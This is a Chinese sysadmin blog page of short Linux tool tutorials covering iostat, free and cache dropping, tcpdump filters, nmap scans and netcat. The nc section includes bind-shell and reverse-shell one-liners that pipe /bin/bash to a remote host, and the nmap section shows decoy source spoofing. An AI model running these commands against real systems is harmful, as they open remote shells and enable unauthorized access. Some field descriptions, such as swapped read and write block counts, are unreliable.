海运的博客

Linux服务器用iostat监测硬盘I/O性能

发布时间:May 4, 2012 // 分类:系统调优 // No Comments

iostat使用语法:

iostat [ -c | -d] [ -k ] [ -t ] [ -x [device] ] [ <interval> [ <count> ] ]

使用参数:

-c 显示CPU的使用情况
-d 显示磁盘的使用情况
-k 以K为单位输出
-m 以M为单位输出
-t 显示执行时间
-x 更为详细的输出
interval 指定间隔时间
count 指定统计次数

iostat应用示例:

iostat -x 2 2 #统计2次,间隔2秒
avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           1.04    0.00    1.55    0.00    0.00   97.41

Device:         rrqm/s   wrqm/s   r/s   w/s   rsec/s   wsec/s avgrq-sz avgqu-sz   await  svctm  %util
sda               0.00    36.79  0.00  7.25     0.00   352.33    48.57     0.00    0.50   0.50   0.36
sda1              0.00     0.00  0.00  0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00
sda2              0.00    36.79  0.00  7.25     0.00   352.33    48.57     0.00    0.50   0.50   0.36
dm-0              0.00     0.00  0.00 44.04     0.00   352.33     8.00     0.04    0.86   0.08   0.36
dm-1              0.00     0.00  0.00  0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00
hdc               0.00     0.00  0.00  0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00

iostat参数说明:

Blk_read/s:每秒钟块设备写入块的数量,每块一般是4096字节
Blk_wrtn/s :每秒钟块设备读取块的数量
tps:每秒磁盘连续读次数和连续写次数之和
rrqm/s:每秒进行合并的读操作数目
wrqm/s:每秒进行合并的写操作数目
r/s:每秒完成读IO的次数
w/s:每秒完成写IO的次数
rsec/s:每秒读扇区数,每扇区512字节
wsec/s:每秒写扇区数,每扇区512字节
rkB/s:每秒读千字节数
wkB/s:每秒写千字节数
avgrq-sz:平均每次IO操作的数据大小(扇区),即(rsec/s+wsec/s)/(r/s+w/s)。
avgqu-sz:平均IO队列的长度
await:平均每次IO操作的等待时间,单位毫秒
svctm:平均每次IO操作的服务时间,单位毫秒
%util:一秒中有百分之多少的时间用于IO操作,即(r/s+w/s)*(svctm/1000)。

总结:

如果%util较大代表IO请求太多,硬盘可能存在瓶颈。
如果avctm比较接近await,说明IO几乎没等待时间。
如果await远大于avctm,说明IO队列太长,应用响应时间也变长。
avgqu-sz队列长度也可衡量IO负荷的指标,avgqu-sz是单位时间内的平均值。
其它还可参考vmstat结果b参数(等待资源的进程数)和wa参数(IO等待所占用CPU时间百分比)。

Linux服务器内存使用分析及内存缓存

发布时间:May 4, 2012 // 分类:系统调优 // No Comments

free语法:

free [-b|-k|-m|-g] [-l] [-o] [-t] [-s delay] [-c count] [-V]
-b,-k,-m,-g 以b/k/m/g为单位输出
-o 旧格式输出,无缓存行
-t 显示物理内存和虚拟内存之和
-s 刷新时间,不间断输出
-c 输出次数,配合-s使用

free使用:

free -m
             total       used       free     shared    buffers     cached
Mem:          1000        641        359          0        126        305
-/+ buffers/cache:        209        791
Swap:         1024          0       1024
total:内存总数1000M
used:已经使用的内存641M,包括缓存的内存数
free:空闲内存359M,不含缓存的内存数
buffers/cached:缓存的内存数
-buffers/cache:真实已用的内存数209M,即used-buffers-cached
+buffers/cache:真实可用的内存数791M,即free+buffers+cached
SWAP:虚拟内存数

内存缓存说明:

Buffers:用于缓存块设备读写的内存大小(buffer cache),使用先进先出策略。这部分缓存主要用于目录项、
inode等文件系统元数据。如果ls一个包含很多内容的目录,可以发现这个值明显增大。
Cache:用于缓存文件系统读写的内存大小(page cache),使用最少使用策略,这部分缓存主要用于打开的文件,
如果 cache 的值很大,说明缓存的文件较多,在进行读写时,命中率也将提高,如果频繁访问到的文件大部分被缓存,
则必然会减少磁盘的读IO。

清空内存缓存:

sync 
#先将缓存写入磁盘
echo 1 > /proc/sys/vm/drop_caches
#释放buffer cache
echo 2 > /proc/sys/vm/drop_caches
#释放page cache
echo 3 > /proc/sys/vm/drop_caches
#释放buffer cache和page cache

Linux网络工具之tcpdump使用

发布时间:May 3, 2012 // 分类:网络工具 // No Comments

Tcpdump使用语法:

tcpdump [ -adeflnNOpqStvx ] [ -c count ] [ -F file ][ -i interface ] [ -r file ] [ -w file ]

参数:

-c 指定监听的封包数,默认持续监听。
-e 显示链路层报头
-nn 以数字方式显示IP及端口
-i 指定监听的网卡
-F 读取文件内的过滤参数
-q 快速输出模式
-l 使标准输出变为行缓冲形式,用于重定向分析
-w 数据包保存为文件
-r 读取保存的数据包
-A 以ASCII编码显示数据包
-x 以十六进制显示
-s 指定抓包显示一行的宽度,-s0表示显示完整的包

应用举例:
1.监听单个IP的所有TCP通信

#https://www.haiyun.me
tcpdump tcp -nn -v host 192.168.1.16

2.监听指定IP间的ARP通信

tcpdump arp -nn -v host 192.168.1.16 and 192.168.1.1

3.监听DNS查询数据包

tcpdump udp port 53

4.监听目标端口80的数据包

tcpdump -A -v dst port 80  

5.监听指定IP目标80端口的数据包

tcpdump -A -v -s 0 host 192.168.1.235 and dst port 80

6.监听特定TCP标志的数据包

tcpdump tcp[tcpflags]=tcp-syn
#syn ack
tcpdump 'tcp[13] = 18'

7.监听HTTP HEAD:

#GET
tcpdump -s 0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420'
#POST
tcpdump -s 0 -A 'tcp dst port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'
#所有HEAD
tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'

Linux网络扫描工具nmap使用

发布时间:May 3, 2012 // 分类:网络工具 // No Comments

Nmap是linux下功能强大的网络扫描嗅探工具,支持多种扫描方式,还可侦测远端运行的操作系统。
使用语法:

nmap [Scan Type...] [Options] {target specification}

参数:

-P0  不ping主机,只进行扫描。
-PT  使用TCP的ping
-PB  这是默认类型,可以使用ICMP ping 也可以使用TCP ping。
-sL 仅列出指定网络上在线主机
-sP 只进行ping,不进一步扫描,用于判断主机是否在线。
-sS SYN扫描,只发送syn数据包。
-sT TCP扫描,默认扫描方式。
-sU UDP扫描
-sF FIN扫描
-sO 目标支持哪些协议
-iR 随机生成目录地址
-S 源地址欺骗
-D 使用一组地址为源地址欺骗
-R 反向DNS查询
-p 指定端口
-f 快速扫描模式
-O 探测目标操作系统
-A 全部扫描
-v 列出详细信息

应用举例:
1.扫描远程主机开放端口及操作系统:

nmap -sS -P0 -v -O host 

2.列出指定网段在线主机:

nmap -sP 192.168.1.0/24

3.列出指定网段内反向DNS:

nmap -R -sL 192.168.1.0/24

4.随机生成100IP扫描80端口并进行源IP欺骗:

nmap -iR 100 -p 80 -n -vv -e eth0 -D 192.168.1.5,ME 192.168.1.2

Linux网络工具之nc使用

发布时间:May 3, 2012 // 分类:网络工具 // No Comments

NC是一款小巧强大的网络工具,有瑞士军刀之称。
语法:

nc [-options] hostname port[s] [ports] ...

参数:

-l 监听模式
-i 延迟时间
-e 程序重定向
-p 本地端口
-r 任意本地或远程端口
-u 使用UDP协议
-U uinx sock模式
-n 使用IP地址
-v 显示指令执行过程
-w 超时时间
-z 关闭输入输出,用于扫描

应用举例:
1.端口扫描:

nc -v -z -w 1 www.haiyun.me 1-1000

2.传输文件:

nc -l 1000 < file
nc host 1000 > file

3.简单聊天软件:

nc -l 1000
nc host 1000

4.重定向shell到监听端口:

nc -l -p 5000 -e /bin/bash 

5.重定向shell并反向连接远程服务器:

nc -e /bin/bash www.haiyun.me 5000
分类
最新文章
最近回复
  • opnfense: 谢谢博主!!!解决问题了!!!我之前一直以为内置的odhcp6就是唯一管理ipv6的方式
  • liyk: 这个方法获取的IPv6大概20分钟之后就会失效,默认路由先消失,然后Global IPV6再消失
  • 海运: 不好意思,没有。
  • zongboa: 您好,請問一下有immortalwrt設定guest Wi-Fi的GUI教學嗎?感謝您。
  • 海运: 恩山有很多。
  • swsend: 大佬可以分享一下固件吗,谢谢。
  • Jimmy: 方法一 nghtp3步骤需要改成如下才能编译成功: git clone https://git...
  • 海运: 地址格式和udpxy一样,udpxy和msd_lite能用这个就能用。
  • 1: 怎么用 编译后的程序在家里路由器内任意一台设备上运行就可以吗?比如笔记本电脑 m参数是笔记本的...
  • 孤狼: ups_status_set: seems that UPS [BK650M2-CH] is ...
归档